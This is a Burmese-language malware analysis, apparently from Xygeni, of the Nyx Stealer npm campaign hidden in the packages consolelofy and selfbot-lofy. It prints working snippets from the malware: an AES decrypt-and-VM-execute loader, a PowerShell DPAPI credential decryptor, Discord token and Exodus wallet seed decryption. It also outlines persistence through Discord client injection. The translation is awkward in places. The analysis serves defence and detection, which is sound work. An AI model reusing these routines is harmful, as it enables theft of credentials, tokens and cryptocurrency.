TL; DR
Xygeni လုံခြုံရေး သုတေသနအဖွဲ့ malicious package နှစ်ခုမှတစ်ဆင့် ပေးပို့သော ခေတ်မီသော npm infostealer campaign တစ်ခုကို ဖော်ထုတ်ခဲ့သည်- ကွန်ဆိုးလ်လိုဖီ နှင့် selfbot-lofy.
နောက်ဆုံးထွက်ဗားရှင်း (consolelofy@1.3.0) runtime မှာ decrypt လုပ်ပြီး execute လုပ်တဲ့ 216KB AES-encrypted payload ကို ထည့်သွင်းထားပါတယ်။ vm.runInNewContext()။ အန္တရာယ်ရှိသောယုတ္တိဗေဒကို အပြည့်အဝ encrypt လုပ်ထားသောကြောင့်၊ string inspection ကို အားကိုးသော static scanner များသည် execution အချိန်အထိ ၎င်း၏အပြုအမူကို စောင့်ကြည့်နိုင်မည်မဟုတ်ပါ။
တစ်ကြိမ် decrypt လုပ်ပြီးသည်နှင့် payload သည် အတွင်းပိုင်းတွင် brand လုပ်ခံရသည်။ နစ်စ် ခိုးသူ၊ ပစ်မှတ်များ
- Discord အထောက်အထားစိစစ်ခြင်း တိုကင်များ
- browser အထောက်အထားစတိုး ၅၀+ ခု
- cryptocurrency ပိုက်ဆံအိတ် extension ၉၀+
- Roblox၊ Instagram၊ Spotify၊ Steam၊ Telegram နှင့် TikTok session များ
- Discord desktop client ၏ တည်တံ့ခိုင်မြဲမှု
ပက်ကေ့ဂျ်နှစ်ခုလုံးရှိ ဗားရှင်း ၂၀ လုံးကို အစီရင်ခံခဲ့ပြီး အန္တရာယ်ရှိသော လုပ်ဆောင်ချက်ဖြစ်ကြောင်း အတည်ပြုခဲ့သည်။
ဤ npm Infostealer ၏ နည်းပညာဆိုင်ရာခြုံငုံသုံးသပ်ချက်
ရိုးရာ install-time malware နဲ့မတူဘဲ၊ ဒီ campaign ဟာ အောက်ပါတို့အပေါ် မူတည်ပါတယ်။ runtime ကုဒ်ဖြည်ခြင်းပုံစံ.
ရှိပါတယ်:
- မကောင်းမှုပြုခြင်းမရှိပါ
preinstallorpostinstallhooks - သိသာထင်ရှားသော install-time network call များ မရှိပါ
- plaintext အထောက်အထားစုဆောင်းမှုယုတ္တိဗေဒမရှိပါ
မော်ဂျူးကို တင်သွင်းလိုက်သောအခါ payload သည် အသက်ဝင်သည်။ မကောင်းတဲ့ အစိတ်အပိုင်းတစ်ခုလုံးကို encrypt လုပ်ထားပြီး runtime တွင်သာ memory တွင် ပေါ်လာသည်။
ဤဒီဇိုင်းသည် ပက်ကေ့ဂျ်တပ်ဆင်စဉ်အတွင်း ထောက်လှမ်းမှုကို အထူးရှောင်ရှားသည်။
ဒီ npm Infostealer က တကယ်ဘယ်လိုလုပ်ဆောင်သလဲ
Nyx Stealer ဘာတွေခိုးယူသွားလဲဆိုတာကို မခွဲခြမ်းစိတ်ဖြာခင်မှာ နားလည်ထားဖို့ လိုပါတယ်။ ဘယ်လိုလုပ်ဆောင်သလဲ.
ဤ npm infostealer အတွင်းရှိ အန္တရာယ်ရှိသော ယုတ္တိဗေဒသည် တသမတ်တည်းသော ပုံစံကို လိုက်နာသည်-
သေးငယ်သော loader သည် encrypted payload ကြီးတစ်ခုကို decrypt လုပ်ပြီး Node.js VM context အတွင်းတွင် dynamically execute လုပ်သည်။
ဒီဒီဇိုင်းက ရည်ရွယ်ချက်ရှိရှိ ပြုလုပ်ထားတာပါ။ တိုက်ခိုက်သူက လုပ်ဆောင်နိုင်စွမ်းကို ဖုံးကွယ်ထားရုံတင်မကဘဲ၊ သူတို့ဟာ static visibility မှ malicious code ကို လုံးဝဖယ်ရှားခြင်း.
အဆင့်မြင့်အကောင်အထည်ဖော်မှုပုံစံ
မြင့်မားသောအဆင့်တွင်၊ wrapper သည် အရာလေးခုကို လုပ်ဆောင်သည်-
- SHA-256 ကို အသုံးပြု၍ hardcoded passphrase မှ AES key ကို ရယူသည်
- AES-256-CBC ကို အသုံးပြု၍ hex-encoded ciphertext ကြီးတစ်ခုကို decrypt လုပ်သည်
- ကုဒ်ဝှက်ထားသော JavaScript ကို အသုံးပြု၍ လုပ်ဆောင်သည်-
vm.runInNewContext() - အစွမ်းထက်သော runtime primitives များကို ဖော်ထုတ်ပေးသည့် sandbox တစ်ခုကို ပံ့ပိုးပေးသည်
အဓိကနည်းစနစ်အကျဉ်းချုပ်
| component | ဖွဲ့စည်းပုံ / တန်ဖိုး |
|---|---|
| algorithm | AES-၂၅၆-CBC |
| အဓိက ဆင်းသက်လာခြင်း | SHA-256 (လျှို့ဝှက်စကားစု) |
| အစပြုခြင်း ဗက်တာ (IV) | 0x00 ၁၆ ဘိုက် |
| သတ်ခြင်း | vm.runInNewContext(ကုဒ်ဝှက်ထားသည်၊ sandbox) |
အရေးကြီးတာက သဲပုံးဟာ အောက်ပါတို့ကို ဖြတ်သန်းသွားပါတယ်-
requireprocessBuffer- အချစ်ဇာတ်လမ်း
- မော်ဂျူး တင်ပို့မှုများ
ဆိုလိုသည်မှာ ကုဒ်ဝှက်ထားသော payload သည် အောက်ပါတို့ကို လုပ်ဆောင်နိုင်သည့် အပြည့်အဝစွမ်းရည်ကို ထိန်းသိမ်းထားသည်။
- မျိုးပွားခြင်းလုပ်ငန်းစဉ်များ
- ဖိုင်များကို ဖတ်ရှုခြင်းနှင့် ရေးခြင်း
- ကွန်ရက်ခေါ်ဆိုမှုများ ပြုလုပ်ပါ
- ဒေသတွင်း အပလီကေးရှင်းများကို ပြုပြင်ပါ
ဒါက ကန့်သတ်ထားတဲ့ VM မဟုတ်ဘူး။ execution trampoline အဖြစ်အသုံးပြုတဲ့ VM တစ်ခုပါ။
Runtime Encryption Pattern (Core Execution Mechanism)
လောင်ဒါက သေးပါတယ်။
မကောင်းဆိုးဝါးတဲ့ ခန္ဓာကိုယ်က မဟုတ်ပါဘူး။
အောက်တွင် package အတွင်းရှိ execution pattern ကိုဖော်ပြထားပါသည်။
const crypto = require('crypto'); const vm = require('vm'); function decryptAndExecute(encryptedHex, passphrase) { const key = crypto.createHash('sha256') .update(passphrase) .digest(); const iv = Buffer.alloc(16, 0); const decipher = crypto.createDecipheriv('aes-256-cbc', key, iv); let decrypted = decipher.update(encryptedHex, 'hex', 'utf8'); decrypted += decipher.final('utf8'); const sandbox = { require, module, exports, console, process, Buffer, __dirname, __filename, setTimeout, setInterval, clearTimeout, clearInterval }; vm.runInNewContext(decrypted, sandbox); } အဘယ်ကြောင့်ဤသည်အရေးပါ
ကုဒ်ဝှက်ထားသော payload:
- မ မဟုတ် npm package ထဲမှာ plaintext ထဲမှာ ရှိပါတယ်
- ရိုးရှင်းပြီး မမြင်နိုင်ပါဘူး
grepသို့မဟုတ် static string scanning - runtime မှာ memory မှာပဲပေါ်လာပါတယ်
- Node runtime စွမ်းရည်အပြည့်အဝဖြင့် လုပ်ဆောင်သည်
ဤ AES + VM အကောင်အထည်ဖော်မှုပေါင်းစပ်မှုသည် အပြုအမူဆိုင်ရာ ညွှန်ပြချက်တစ်ခုဖြစ်ပြီး npm infostealer သည် static inspection ကို ရှောင်တိမ်းရန် ကြိုးစားနေသည်.
တစ်နည်းပြောရရင်တော့:
package source tree ကို scan ဖတ်ကြည့်ရင် stealer ကို မတွေ့ရပါဘူး။
ကုဒ်ဖြည်တဲ့ကိရိယာကို သင်မြင်ပါတယ်။
ကုဒ်ဝှက်ပြီးနောက် ဘာတွေဆက်ဖြစ်မလဲ
ပြီးတာနဲ့ Nyx Stealer က parallel data collection wave တွေကို စတင်ပါတယ်။
Wave 1: Browser အထောက်အထားထုတ်ယူခြင်း
malware:
- NuGet CDN မှ Python runtime ကို ဒေါင်းလုဒ်လုပ်သည်
- cryptographic libraries များကို install လုပ်သည်
- Chromium-based အထောက်အထားစတိုးများကို ထုတ်ယူသည်
- DPAPI ကာကွယ်ထားသော လျှို့ဝှက်ချက်များကို ကုဒ်ဖြည်ပါ
native binding များကို compile လုပ်မည့်အစား၊ ၎င်းသည် Windows DPAPI ကို တိုက်ရိုက်ခေါ်ဆိုရန် PowerShell ကို အသုံးပြုသည်။
function dpapiUnprotectWithPowerShell(dataBuf) { const b64 = dataBuf.toString('base64'); const ps = "Add-Type -AssemblyName System.Security;" + "$b=[Convert]::FromBase64String('" + b64 + "');" + "$p=[System.Security.Cryptography.ProtectedData]::Unprotect(" + "$b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);" + "[Console]::Out.Write([Convert]::ToBase64String($p))"; const cmd = `powershell -NoProfile -ExecutionPolicy Bypass -Command "${ps}"`; return Buffer.from(execSync(cmd, { encoding: 'utf8' }).trim(), 'base64'); } ဤချဉ်းကပ်နည်း-
- စုစည်းမှုဆိုင်ရာ အရာဝတ္ထုများကို ရှောင်ရှားသည်
- မူရင်း Windows crypto API များကို အသုံးပြုသည်
- အုပ်ချုပ်ရေးဆိုင်ရာကိရိယာများနှင့် ရောနှောထားသည်
၎င်းသည် scraping မဟုတ်ဘဲ OS-level credential decryption ဖြစ်သည်။
Wave 2: Discord Token Decryption
stealer က protocol-aware ဖြစ်ပါတယ်။ Discord ရဲ့ encrypted token format ကို နားလည်ပါတယ်။
function decryptToken(encryptedToken, key) { const tokenParts = encryptedToken.split('dQw4w9WgXcQ:'); const encryptedData = Buffer.from(tokenParts[1], 'base64'); const iv = encryptedData.slice(3, 15); const ciphertext = encryptedData.slice(15, -16); const tag = encryptedData.slice(-16); const decipher = crypto.createDecipheriv('aes-256-gcm', key, iv); decipher.setAuthTag(tag); return decipher.update(ciphertext).toString('utf8'); } လုပ်ငန်းလည်ပတ်မှု စီးဆင်းမှု-
- Discord ကနေ master key ကို ထုတ်ယူပါ
Local State - DPAPI မှတစ်ဆင့် မာစတာကီးကို ကုဒ်ဖြည်ပါ
- AES-GCM တိုကင် blob များကို ကုဒ်ဝှက်ပါ
- Discord API နှင့် ကိုက်ညီသော တိုကင်များကို အတည်ပြုပါ
- Nitro၊ တံဆိပ်များ၊ ငွေတောင်းခံလွှာအချက်အလက်များဖြင့် ကြွယ်ဝစေပါ
ဒါက ယေဘုယျ credential dumping မဟုတ်ဘူး။ protocol-aware session hijacking ပါ။
Wave 3: Cryptocurrency Wallet Targeting
npm infostealer မှာ အောက်ပါအတိုင်း ဖော်ပြထားပါတယ်။
- browser wallet extension ၉၀+
- ဒက်စ်တော့ ပိုက်ဆံအိတ် ၂၇ ခု
- အအေးခံပိုက်ဆံအိတ်လမ်းကြောင်းများ
- ထွက်မြောက်ရာ မျိုးစေ့ဖိုင်များ
ဥပမာ seed decryption ကြိုးပမ်းမှု-
function decryptSeco(content, password) { const key = crypto.pbkdf2Sync(password, 'exodus', 10000, 32, 'sha512'); const decipher = crypto.createDecipheriv( 'aes-256-gcm', key, content.slice(0, 12) ); decipher.setAuthTag(content.slice(-16)); return Buffer.concat([ decipher.update(content.slice(12, -16)), decipher.final() ]).toString('utf8'); } အောင်မြင်ပါက ပိုက်ဆံအိတ် ညှိနှိုင်းမှုသည် ချက်ချင်းပြီးမြောက်ပြီး မပြောင်းလဲနိုင်ပါ။
၎င်းသည် ကမ်ပိန်း၏ အမြင့်ဆုံးတန်ဖိုး ဝင်ငွေရှာဖွေမှု vector ကို ကိုယ်စားပြုသည်။
Discord Desktop Injection မှတစ်ဆင့် တည်တံ့နိုင်ခြင်း
အထောက်အထားများကို စုဆောင်းပြီးနောက် Nyx Stealer သည် local database ကို ပြုပြင်ခြင်းဖြင့် persistence ကို ကြိုးစားသည်။ စိတ်တိုးပွား ဖောက်သည်။
ပစ်မှတ်:
%LOCALAPPDATA%\Discord*\app-*\modules\discord_desktop_core\index.js စစ်ဆင်ရေး တစ်ဆက်တည်း
infostealer သည် အောက်ပါအဆင့်များကို လုပ်ဆောင်သည်-
- Discord လုပ်ငန်းစဉ်များကို လုပ်ဆောင်ခြင်းကို ရပ်တန့်သည်
- ထည့်သွင်းထားသော Discord မျိုးကွဲများ (Stable, Canary, PTB) ကို ရှာဖွေပေးသည်။
- အစားထိုးရေးသားသည်
discord_desktop_core/index.js - တိုက်ခိုက်သူထိန်းချုပ်ထားသော webhook logic ကို ထည့်သွင်းသည်
- Discord ကို ပြန်လည်စတင်သည်
၎င်းက အနာဂတ် Discord အစည်းအဝေးများသည် အထောက်အထားစိစစ်ခြင်းတိုကင်အသစ်များကို အလိုအလျောက်ပေါက်ကြားစေပါသည်။
အရေးကြီးတာက ဒီ persistence ဟာ scheduled tasks တွေ ဒါမှမဟုတ် registry modifications တွေပေါ်မှာ မှီခိုမနေပါဘူး။ ဒါဟာ application-level code modification ကို အသုံးပြုပြီး ခိုးကြောင်ခိုးဝှက် ချဉ်းကပ်မှုတစ်ခု ဖြစ်ပါတယ်။
နောက်ပိုင်းတွင် အန္တရာယ်ရှိသော npm package ကို ဖယ်ရှားလိုက်သည့်တိုင် Discord client သည် အန္တရာယ်ရှိနေဦးမည်ဖြစ်သည်။
နည်းပညာဆိုင်ရာ နှိုင်းယှဉ်ချက်- တရားဝင် Selfbot နှင့် npm Infostealer
| component | တရားဝင်စာကြည့်တိုက် | Nyx npm Infostealer |
|---|---|---|
| encryption | အဘယ်သူမျှမ | AES-encrypted payload အပြည့်အစုံ |
| Runtime VM | မလိုအပ်ဘူး | vm.runInNewContext သတ်ခြင်း |
| အထောက်အထား သုံးစွဲခွင့် | Discord API သာ | ဘရောက်ဆာ၊ ပိုက်ဆံအိတ်များ၊ DPAPI |
| ပြင်ပဒေါင်းလုဒ်များ | အဘယ်သူမျှမ | NuGet မှတစ်ဆင့် Python runtime |
| ဇှဲကောငျးခွငျး | အဘယ်သူမျှမ | Discord client ထိုးသွင်းခြင်း |
| ငွေရှာခြင်း | ဘော့တ် အလိုအလျောက်စနစ် | အထောက်အထား ပြန်လည်ရောင်းချခြင်း |
encryption layer တစ်ခုတည်းကသာ ဤ campaign ကို ပုံမှန် open-source fork နှင့် ခွဲခြားထားပြီးဖြစ်သည်။
တရားဝင် Discord selfbot တစ်ခုသည် ၎င်း၏ codebase တစ်ခုလုံးကို encrypt လုပ်ရန်၊ DPAPI ကိုဝင်ရောက်ရန် PowerShell ကိုဖန်တီးရန်၊ ပြင်ပ runtime များကို download လုပ်ရန် သို့မဟုတ် desktop application internals များကိုပြုပြင်ရန် အကြောင်းပြချက်မရှိပါ။ ထိုစွမ်းရည်များသည် Discord interaction များကို automate လုပ်သည်ဟု ဆိုသော dependency အတွင်းတွင် ပေါ်လာသောအခါ၊ architectural mismatch ကို လျစ်လျူရှုရန် မဖြစ်နိုင်တော့ပါ။
စုံစမ်းစစ်ဆေးမှုရှုထောင့်မှကြည့်လျှင် ဤ npm infostealer သည် အလွှာများစွာတွင် သဲလွန်စများချန်ထားခဲ့သည်။ သို့သော်၊ အားအကိုးရဆုံးညွှန်ပြချက်များသည် hardcoded URL များ သို့မဟုတ် သတ်မှတ်ထားသောဖိုင်လမ်းကြောင်းများမဟုတ်ပါ၊ အဘယ်ကြောင့်ဆိုသော် ၎င်းတို့သည် ဗားရှင်းများအကြား ပြောင်းလဲနိုင်သောကြောင့်ဖြစ်သည်။ ယင်းအစား၊ တာရှည်ခံသော အချက်ပြမှုများသည် ဖွဲ့စည်းတည်ဆောက်ပုံဆိုင်ရာဖြစ်သည်။
package level မှာ အပြင်းထန်ဆုံး red flag ကတော့ encrypted payload ကြီးတစ်ခုနဲ့ runtime decryption wrapper တစ်ခုပေါင်းစပ်ထားတာဖြစ်ပြီး ချက်ချင်း execute လုပ်ပါတယ်။ vm.runInNewContext()ကုဒ်ဝှက်ခြင်းတစ်ခုတည်းသည် အန္တရာယ်ရှိသောအရာမဟုတ်သော်လည်း၊ AES ကုဒ်ဖြည်ပြီးနောက် Discord utility package အတွင်းရှိ dynamic VM execution ကို အသုံးပြုခြင်းသည် အလွန်ထူးခြားပါသည်။
host level မှာ သံသယဖြစ်ဖွယ်ပုံစံတွေမှာ မမျှော်လင့်ထားတဲ့ DPAPI decryption activity၊ Node.js dependency context ကနေ process spawing နဲ့ third-party libraries တွေက ဘယ်တော့မှ မပြောင်းလဲသင့်တဲ့ local application files တွေကို ပြုပြင်မွမ်းမံတာတွေ ပါဝင်ပါတယ်။ အလားတူပဲ network layer မှာ development dependency ကနေ စတင်တဲ့ outbound webhook-style communication ဟာ နောက်ထပ် အဓိပ္ပါယ်ရှိတဲ့ anomaly တစ်ခုကို ကိုယ်စားပြုပါတယ်။
တစ်နည်းအားဖြင့်ဆိုရသော် ထောက်လှမ်းသည့် မျက်နှာပြင်သည် ခြိမ်းခြောက်မှုကို ဖော်ထုတ်ပေးသည့် တစ်ခုတည်းသော အညွှန်းကိန်းမဟုတ်ပါ။ ခြိမ်းခြောက်မှုကို ဖော်ပြသည်မှာ encryption၊ runtime execution၊ credential access နှင့် persistence အပြုအမူတို့၏ ဆက်စပ်မှုဖြစ်သည်။
Xygeni ဖြင့် ထောက်လှမ်းခြင်းနှင့် လျော့ပါးစေခြင်း
ဤ npm infostealer ကို ဖော်ထုတ်ခဲ့သည် Xygeni ရဲ့ Malware ကြိုတင်သတိပေးချက် (MEW) ရိုးရှင်းသော လက်မှတ်ကိုက်ညီမှုထက် အလွှာလိုက် အပြုအမူဆိုင်ရာ ဆက်စပ်မှုမှတစ်ဆင့်။
သိရှိထားသော အန္တရာယ်ရှိသော စာကြောင်းများကို ရှာဖွေမည့်အစား MEW သည် အရင်းအမြစ်သစ်ပင်တစ်ခုလုံးတွင် ဖွဲ့စည်းတည်ဆောက်ပုံဆိုင်ရာ ပုံမှန်မဟုတ်မှုများကို အကဲဖြတ်သည်။ ဤကိစ္စတွင်၊ ထောက်လှမ်းမှုသည် အချက်ပြမှုများစွာ ပေါင်းစပ်ခြင်းမှ ပေါ်ပေါက်လာသည်- မော်ဂျူးဝင်ပေါက်တွင် ထည့်သွင်းထားသော AES ကုဒ်ဖြည်ခြင်းလုပ်ရိုးလုပ်စဉ်၊ VM ဆက်စပ်မှုအတွင်း ချက်ချင်းလုပ်ဆောင်ခြင်းနှင့် စွမ်းရည်နှင့် ရည်ရွယ်ချက် မကိုက်ညီမှု ရှင်းလင်းခြင်း။
အရေးကြီးတာက ဒီအချက်ပြမှုတွေတစ်ခုတည်းက မကောင်းဆိုးဝါးရည်ရွယ်ချက်ကို သက်သေမပြနိုင်ပါဘူး။ ဒါပေမယ့် အတူတကွ ခွဲခြမ်းစိတ်ဖြာတဲ့အခါ runtime အပြုအမူကို ဖုံးကွယ်ဖို့ ကြိုးပမ်းမှုကို ဖော်ထုတ်ပါတယ်။ ဒီအလွှာလိုက်ချဉ်းကပ်မှုက ယုံကြည်မှုမြင့်မားတဲ့ ထောက်ပံ့ရေးကွင်းဆက်ခြိမ်းခြောက်မှုတွေကို ဖော်ထုတ်နေချိန်မှာပဲ မှားယွင်းတဲ့အပြုသဘောဆောင်တဲ့အချက်တွေကို သိသိသာသာ လျော့ကျစေပါတယ်။
ထို့အပြင်၊ ဤကိစ္စသည် အဘယ်ကြောင့် install-time inspection တစ်ခုတည်းဖြင့် မလုံလောက်ကြောင်း ဖော်ပြသည်။ malicious logic သည် lifecycle scripts များတွင် မတည်ရှိပါ။ ၎င်းသည် module load လုပ်ပြီးနောက်တွင်သာ activate ဖြစ်ပြီး memory တွင် decrypt လုပ်ပြီးသည်နှင့်သာ မြင်နိုင်မည်ဖြစ်သည်။ ထို့ကြောင့်၊ ထိရောက်သောကာကွယ်ရေးတွင် encryption-aware analysis၊ behavioral pattern recognition နှင့် installation events များထက်ကျော်လွန်၍ dependency monitoring များ လိုအပ်ပါသည်။
Registry ဖယ်ရှားခြင်းသည် တုံ့ပြန်မှုတစ်ခုဖြစ်သည်။ Runtime-aware analysis သည် ကြိုတင်ကာကွယ်ခြင်းဖြစ်သည်။
ဒီ npm Infostealer က ဘာကြောင့် အရေးကြီးတာလဲ
Nyx Stealer သည် npm-based malware တွင် ဖွဲ့စည်းပုံဆိုင်ရာ ဆင့်ကဲဖြစ်စဉ်ကို ကိုယ်စားပြုသည်။
သမိုင်းကြောင်းအရ၊ အန္တရာယ်ရှိသော package အများအပြားသည် မြင်သာသော install-time script များ သို့မဟုတ် ထင်ရှားသော credential exfiltration endpoint များကို အားကိုးအားထားပြုကြသည်။ ဆန့်ကျင်ဘက်အနေဖြင့်၊ ဤ campaign သည် ၎င်း၏ payload ကို encrypt လုပ်ပြီး၊ execution ကို runtime သို့ ရွှေ့ဆိုင်းကာ၊ တရားဝင် operating system API များကို အသုံးချကာ၊ ယုံကြည်စိတ်ချရသော application များအတွင်း persistence ကို တည်ဆောက်ပေးသည်။
ထို့ကြောင့်၊ တိုက်ခိုက်သူသည် npm အခြေခံအဆောက်အအုံကိုယ်တိုင်ကို အသုံးချရန် မလိုအပ်ပါ။ ယင်းအစား၊ dependency installation သည် ယုံကြည်မှုကို ဆိုလိုသောကြောင့် တိုက်ခိုက်မှု အောင်မြင်ပါသည်။ developer များက library တစ်ခုကို import လုပ်ခြင်းသည် ဘေးကင်းသော လုပ်ဆောင်ချက်တစ်ခုဖြစ်သည်ဟု ယူဆကြပြီး၊ အထူးသဖြင့် ၎င်းသည် လူကြိုက်များသော tool တစ်ခု၏ ဖြစ်နိုင်ခြေရှိသော fork အဖြစ် တင်ပြသည့်အခါတွင် ဖြစ်သည်။
ဂေဟစနစ်များ ဆက်လက်ကြီးထွားလာပြီး forks များ များပြားလာသည်နှင့်အမျှ၊ ထို implicit trust boundary သည် ဆွဲဆောင်မှုရှိသော တိုက်ခိုက်မှုမျက်နှာပြင်တစ်ခု ဖြစ်လာသည်။ ထို့ကြောင့်၊ ခေတ်မီ npm infostealers များကို ကာကွယ်ရန် static strings များကို ရှာဖွေမည့်အစား architectural patterns များကို မှတ်မိရန် လိုအပ်ပါသည်။
အဆုံးစွန်အားဖြင့်၊ ဤလှုပ်ရှားမှုသည် အရေးကြီးသော သင်ခန်းစာတစ်ခုကို ပိုမိုအားကောင်းစေသည်- software supply chain security: အန္တရာယ်အရှိဆုံးခြိမ်းခြောက်မှုများသည် ပထမတစ်ချက်ကြည့်လိုက်လျှင် အန္တရာယ်ရှိသည်ဟုထင်ရသော်လည်း၊ ၎င်းတို့၏ စစ်မှန်သောအပြုအမူကို ဖော်ထုတ်သည့်အချိန်အထိ ဖွဲ့စည်းတည်ဆောက်ပုံအရ တရားဝင်ပုံပေါ်သည့် ခြိမ်းခြောက်မှုများဖြစ်သည်။




